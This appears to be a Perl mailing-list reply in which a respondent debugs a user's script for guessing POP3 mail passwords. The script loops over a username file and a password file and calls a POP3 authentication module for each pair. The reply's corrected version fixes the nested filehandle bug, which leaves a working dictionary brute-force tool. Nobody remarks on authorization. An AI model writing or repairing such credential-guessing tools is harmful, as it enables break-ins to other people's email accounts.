On Aug 14, 2:15 pm, [EMAIL PROTECTED] wrote:
> #!/usr/bin/perl -w
> use strict;
> use Authen::Simple::POP3;
>
> print "Enter POP3 server hostname: ";
> chomp( my $host = <STDIN> );
>
> my $pop3 = Authen::Simple::POP3->new(
>     host => $host
> );
>
> my $pwdlst = "pass.txt";
> open( INPASS, $pwdlst ) || die "\nERROR: Cannot open file \'$pwdlst\'!
> \n";
>
> my $usrlst = "user.txt";
> open( INUSER, $usrlst ) || die "\nERROR: Cannot open file \'$usrlst\'!
> \n";
>
> while ( my $user = <INUSER> ) {
>     chomp $user;
>     while ( my $pass = <INPASS> ) {
>         chomp $pass;
>         if ( $pop3->authenticate( $user, $pass ) ) {
>             printf "\nPassword is \'%s\' .\n", $pass;
>         } else {
>             printf "\nTrying %s - %s\n", $user, $pass;
>         }
>     }
>
> }
>
> close(INUSER);
> close(INPASS);
>
> # It's supposed to read first username from user.txt
> # and try it against all the passwords from pass.txt,
> # and then to move to the next username and run that
> # against all the passwords, too, and so on...but it
> # does not work that way..it just check passwords
> # against the first username and then exits. What's
> # the problem?
> # Thanx for any help.

This is because of the nature of the data being passed from the
filehandle. What you are doing is --
you opened user.txt and then started reading it and for first line you
read the passwd.txt through <INPASS> but once you reached the last
line of <INPASS> you moved to second line of user.txt but you are now
done with <INPASS> so you will not get to read it again.
You may try to open the <INPASS> after every line of read of users.txt
and then close the <INPASS> when the loop is done. So code gets
modified as::


my $usrlst = "user.txt";
open( INUSER, $usrlst ) || die "\nERROR: Cannot open file \'$usrlst
\'!
\n";


while ( my $user = <INUSER> ) {
    chomp $user;
    my $pwdlst = "pass.txt";
     open( INPASS, $pwdlst ) || die "\nERROR: Cannot open file
\'$pwdlst\'! \n";

    while ( my $pass = <INPASS> ) {
        chomp $pass;
        if ( $pop3->authenticate( $user, $pass ) ) {
            printf "\nPassword is \'%s\' .\n", $pass;
        } else {
            printf "\nTrying %s - %s\n", $user, $pass;
        }

    }
    close(INPASS);
}


close(INUSER);



}


--
To unsubscribe, e-mail: [EMAIL PROTECTED]
For additional commands, e-mail: [EMAIL PROTECTED]
http://learn.perl.org/


Reply via email to